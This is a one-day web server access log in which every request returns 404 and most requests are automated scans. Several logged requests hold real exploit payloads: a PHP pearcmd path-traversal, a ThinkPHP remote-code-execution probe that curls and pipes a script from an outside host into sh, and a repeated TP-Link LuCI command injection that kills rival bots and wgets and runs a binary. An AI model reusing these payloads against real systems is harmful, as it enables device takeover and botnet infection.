141.98.11.82 - - [20/Jun/2024:00:16:59 +0200] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php HTTP/1.1" 404 952
141.98.11.82 - - [20/Jun/2024:00:16:59 +0200] "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 404 952
141.98.11.82 - - [20/Jun/2024:00:16:59 +0200] "GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 952
141.98.11.82 - - [20/Jun/2024:00:16:59 +0200] "GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 952
141.98.11.82 - - [20/Jun/2024:00:16:59 +0200] "GET /index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=X%3d%24%28curl%20http%3a%2f%2f185.172.128.93%2fsh%20%7c%7c%20wget%20http%3a%2f%2f185.172.128.93%2fsh%20-O-%29%3b%20echo%20%22%24X%22%20%7c%20sh%20-s%20thinkphp HTTP/1.1" 404 952
146.70.199.211 - - [20/Jun/2024:00:20:37 +0200] "GET / HTTP/1.1" 404 952
47.236.153.116 - - [20/Jun/2024:00:41:16 +0200] "GET / HTTP/1.1" 404 952
47.236.153.116 - - [20/Jun/2024:00:41:16 +0200] "GET /favicon.ico HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:01:39:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:01:39:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
165.232.36.81 - - [20/Jun/2024:02:50:47 +0200] "GET / HTTP/1.1" 404 952
165.232.36.81 - - [20/Jun/2024:02:50:47 +0200] "GET /download/powershell/ HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:04:01:11 +0200] "GET / HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:05:02:55 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:05:02:55 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:05:47:27 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:05:47:27 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
64.62.197.200 - - [20/Jun/2024:05:47:40 +0200] "GET / HTTP/1.1" 404 952
64.62.197.202 - - [20/Jun/2024:05:48:08 +0200] "GET /favicon.ico HTTP/1.1" 404 952
64.62.197.204 - - [20/Jun/2024:05:48:19 +0200] "GET /?format=json HTTP/1.1" 404 952
45.156.128.41 - - [20/Jun/2024:06:24:41 +0200] "GET / HTTP/1.1" 404 952
111.200.216.75 - - [20/Jun/2024:06:46:50 +0200] "GET / HTTP/1.1" 404 952
102.129.252.240 - - [20/Jun/2024:07:19:46 +0200] "HEAD / HTTP/1.1" 404 952
102.129.252.240 - - [20/Jun/2024:07:19:47 +0200] "OPTIONS / HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:08:03:50 +0200] "GET / HTTP/1.1" 404 952
10.140.0.117 - - [20/Jun/2024:08:27:19 +0200] "GET / HTTP/1.1" 404 952
83.97.73.245 - - [20/Jun/2024:08:41:33 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952
83.97.73.245 - - [20/Jun/2024:09:06:59 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952
209.141.32.195 - - [20/Jun/2024:09:30:51 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:09:49:10 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:53:53 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:53:53 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:54:13 +0200] "GET /favicon.ico HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:54:29 +0200] "GET /admin/ HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:54:29 +0200] "GET /login HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:54:44 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:54:44 +0200] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:54:56 +0200] "GET /WebInterface/ HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:10 +0200] "GET /api/session/properties HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:19 +0200] "GET /version HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:19 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:22 +0200] "GET /favicon.ico HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:22 +0200] "GET /zabbix/favicon.ico HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:31 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:31 +0200] "GET /js/NewWindow_2_all.js HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:31 +0200] "GET /showLogin.cc HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:37 +0200] "GET / HTTP/1.1" 404 952
107.151.182.58 - - [20/Jun/2024:09:55:38 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:10:34:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:10:34:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:10:45:00 +0200] "GET / HTTP/1.1" 404 952
185.191.126.213 - - [20/Jun/2024:11:42:34 +0200] "GET / HTTP/1.1" 404 952
34.140.130.61 - - [20/Jun/2024:11:43:53 +0200] "GET / HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:12:03:52 +0200] "GET / HTTP/1.1" 404 952
206.168.34.120 - - [20/Jun/2024:12:42:48 +0200] "GET / HTTP/1.1" 404 952
206.168.34.120 - - [20/Jun/2024:12:42:52 +0200] "GET / HTTP/1.1" 404 952
165.227.47.218 - - [20/Jun/2024:12:53:25 +0200] "GET /aaa9 HTTP/1.1" 404 952
165.227.47.218 - - [20/Jun/2024:12:53:25 +0200] "GET /aab8 HTTP/1.1" 404 952
165.227.47.218 - - [20/Jun/2024:12:53:25 +0200] "GET / HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:13:15:19 +0200] "GET / HTTP/1.1" 404 952
85.214.21.8 - - [20/Jun/2024:13:56:27 +0200] "GET / HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:14:13:08 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:14:13:08 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
185.244.36.206 - - [20/Jun/2024:16:25:56 +0200] "GET / HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:16:30:16 +0200] "GET / HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:16:55:14 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:16:55:14 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
48.217.212.13 - - [20/Jun/2024:17:11:38 +0200] "GET /actuator/health HTTP/1.1" 404 952
62.210.90.176 - - [20/Jun/2024:17:12:35 +0200] "HEAD / HTTP/1.1" 404 952
62.210.90.176 - - [20/Jun/2024:17:12:36 +0200] "GET / HTTP/1.1" 404 952
159.65.149.95 - - [20/Jun/2024:17:27:53 +0200] "GET / HTTP/1.1" 404 952
159.65.149.95 - - [20/Jun/2024:17:27:53 +0200] "GET /download/powershell/ HTTP/1.1" 404 952
149.50.103.48 - - [20/Jun/2024:17:32:04 +0200] "GET / HTTP/1.1" 404 952
185.244.36.206 - - [20/Jun/2024:17:41:00 +0200] "GET / HTTP/1.1" 404 952
64.226.99.8 - - [20/Jun/2024:18:28:53 +0200] "GET / HTTP/1.0" 404 952
138.68.73.114 - - [20/Jun/2024:18:28:53 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952
139.59.157.21 - - [20/Jun/2024:18:28:53 +0200] "GET / HTTP/1.1" 404 952
104.248.43.107 - - [20/Jun/2024:18:28:53 +0200] "GET /solr/admin/info/system HTTP/1.1" 404 952
104.248.43.107 - - [20/Jun/2024:18:28:53 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 952
167.99.249.203 - - [20/Jun/2024:18:42:13 +0200] "GET / HTTP/1.0" 404 952
139.59.151.131 - - [20/Jun/2024:18:42:13 +0200] "GET /solr/admin/info/system HTTP/1.1" 404 952
164.92.234.101 - - [20/Jun/2024:18:42:13 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952
165.227.134.160 - - [20/Jun/2024:18:42:13 +0200] "GET / HTTP/1.1" 404 952
139.59.151.131 - - [20/Jun/2024:18:42:13 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 952
52.76.71.100 - - [20/Jun/2024:18:42:14 +0200] "GET /favicon.ico HTTP/1.1" 404 952
172.168.41.52 - - [20/Jun/2024:19:10:18 +0200] "GET / HTTP/1.1" 404 952
185.244.36.206 - - [20/Jun/2024:19:19:09 +0200] "GET / HTTP/1.1" 404 952
104.168.70.165 - - [20/Jun/2024:19:21:22 +0200] "GET / HTTP/1.1" 404 952
206.81.25.111 - - [20/Jun/2024:19:29:01 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952
78.108.177.54 - - [20/Jun/2024:20:57:20 +0200] "GET / HTTP/1.0" 404 952
45.148.10.174 - - [20/Jun/2024:21:05:08 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952
45.148.10.174 - - [20/Jun/2024:21:05:08 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952
185.244.36.206 - - [20/Jun/2024:21:09:47 +0200] "GET / HTTP/1.1" 404 952
185.104.184.43 - - [20/Jun/2024:21:17:46 +0200] "GET / HTTP/1.1" 404 952
185.104.184.43 - - [20/Jun/2024:21:17:46 +0200] "GET /HNAP1/ HTTP/1.1" 404 952
164.92.247.171 - - [20/Jun/2024:21:49:15 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952
147.185.132.31 - - [20/Jun/2024:23:26:40 +0200] "GET / HTTP/1.1" 404 952